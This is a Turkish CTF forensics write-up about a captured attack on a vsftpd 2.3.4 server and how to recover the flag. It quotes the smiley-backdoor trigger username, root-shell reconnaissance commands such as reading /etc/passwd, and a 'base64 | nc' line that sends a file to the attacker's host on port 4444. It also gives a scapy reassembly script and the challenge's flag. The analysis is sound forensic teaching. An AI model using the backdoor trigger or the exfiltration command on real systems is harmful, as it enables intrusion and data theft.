NewYear 2026 — exFill Çözüm Yazısı
vsftpd 2.3.4 çalıştıran bir sunucuya yapılan saldırının paket yakalaması. Saldırgan ünlü smiley arka kapısını tetikliyor, root kabuğu alıyor ve bir JPEG'i reverse shell üzerinden base64 olarak dışarı sızdırıyor. Akışı yeniden birleştirin; bayrak çalınan görselin içine resmedilmiş.
NewYear 2026 — exFill
Gerçek tarzda bir ihlal üzerine kurulu bir ağ adli bilişim sorusu: sömürü, yetki yükseltme, keşif ve ardından veri sızdırma. Tüm hikâyeyi tek bir paket yakalaması anlatıyor.
- Etkinlik: NewYear 2026
- Kategori: Adli Bilişim (Forensics)
- Dosya:
capture.pcap.xz→capture.pcap - Bayrak formatı:
grodno{...}
1. Yakalamada ne var
$ file capture.pcap
capture.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4
(Linux cooked v1, capture length 65535)İki ana bilgisayar arasında 3972 paket:
- Saldırgan:
192.168.56.102 - Kurban:
192.168.56.103
Portlara göre grupladığınızda bir akış hemen göze çarpıyor:
21/tcp FTP kontrol (vsFTPd 2.3.4)
6200/tcp vsftpd 2.3.4 "smiley" arka kapı kabuğu
4444/tcp veri taşıyan bir reverse shell
445, 25 SMB ve SMTP denemeleri (arka plan gürültüsü)2. Smiley arka kapısı
21 numaralı port kendini anlatıyor:
220 (vsFTPd 2.3.4)2.3.4 sürümü CVE-2011-2523'ü taşır: :) ile biten herhangi bir kullanıcı adı, sunucunun 6200 portunda bir root kabuğu açmasına yol açar. Yakalamada tetikleyici tam karşımızda:
USER 3FVka:) PASS ssp6Ve hemen ardından 6200 portunda bir root kabuğu açılıyor:
6200:
uid=0(root) gid=0(root)3. Root kabuğu ve keşif
6200'deki oturum tam etkileşimli bir kabuk. Yeniden birleştirdiğinizde klasik sömürü sonrası keşfin ardından hedefli bir kopyalamanın geldiğini görüyorsunuz:
id
pwd
cat /etc/passwd
ls /home/msfadmin
cd /home/msfadmin
ls -la
sha256sum f1ag.jpg
base64 f1ag.jpg | nc 192.168.56.102 4444ls -la çıktısı hedefi doğruluyor:
-rw-r--r-- 1 msfadmin msfadmin 46852 Jan 6 09:45 f1ag.jpg
af811f3e2f6191bed1e625edc18e3ac37e1e165e0fdcbab4cfb9c301bbb5211f f1ag.jpgYani amaç 46.852 baytlık bir JPEG ve saldırgan onun base64 kodlamasını doğrudan nc ile 192.168.56.102:4444 adresine boruluyor.
4. Sızdırılan akışı yeniden birleştirmek
4444 üzerindeki TCP, yön başına ve dizi numarasına göre yeniden kurulmalı. Yükü kurban→saldırgan yönü taşıyor:
from scapy.all import rdpcap, IP, TCP, Raw
import base64, re
pk = rdpcap("capture.pcap")
streams = {}
for p in pk:
if IP in p and TCP in p and Raw in p:
k = (p[IP].src, p[TCP].sport, p[IP].dst, p[TCP].dport)
streams.setdefault(k, []).append((p[TCP].seq, bytes(p[TCP].payload)))
def cat(k):
return b"".join(b for _, b in sorted(streams.get(k, [])))
data = cat(("192.168.56.103", 38553, "192.168.56.102", 4444))
b64 = re.sub(rb"[^A-Za-z0-9+/=]", b"", data)
open("f1ag.jpg", "wb").write(base64.b64decode(b64 + b"=" * (-len(b64) % 4)))Çözülen yığın JPEG sihirli baytları ff d8 ff db ile başlıyor ve tam 46.852 bayt — kurbanın ls -la çıktısındaki boyutun aynısı. Bütünlük kontrolü de örtüşüyor:
$ shasum -a 256 f1ag.jpg
af811f3e2f6191bed1e625edc18e3ac37e1e165e0fdcbab4cfb9c301bbb5211f f1ag.jpgKurtarılan dosya, kurbanın diskindeki f1ag.jpg ile bayt bayt aynı.
5. Bayrak görselin içinde
JPEG'i açtığınızda bayrak görselin içine metin olarak çizilmiş halde görünüyor:
$ strings -n 6 f1ag.jpg | grep -i grodno
+grodno{it5_was_t00_s1mple_=D}6. Bayrak
grodno{it5_was_t00_s1mple_=D}Ders klasik: base64 | nc şifreleme değildir. Aktarımın iki yanından birindeki tek bir tcpdump yakalaması sömürü zincirini ortaya çıkarır ve çalınan dosyayı elinize verir; saldırganın kurban için hesapladığı SHA-256 ise yeniden birleştirdiğiniz sızdırmanın birebir doğru olduğunun kanıtı olur.
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver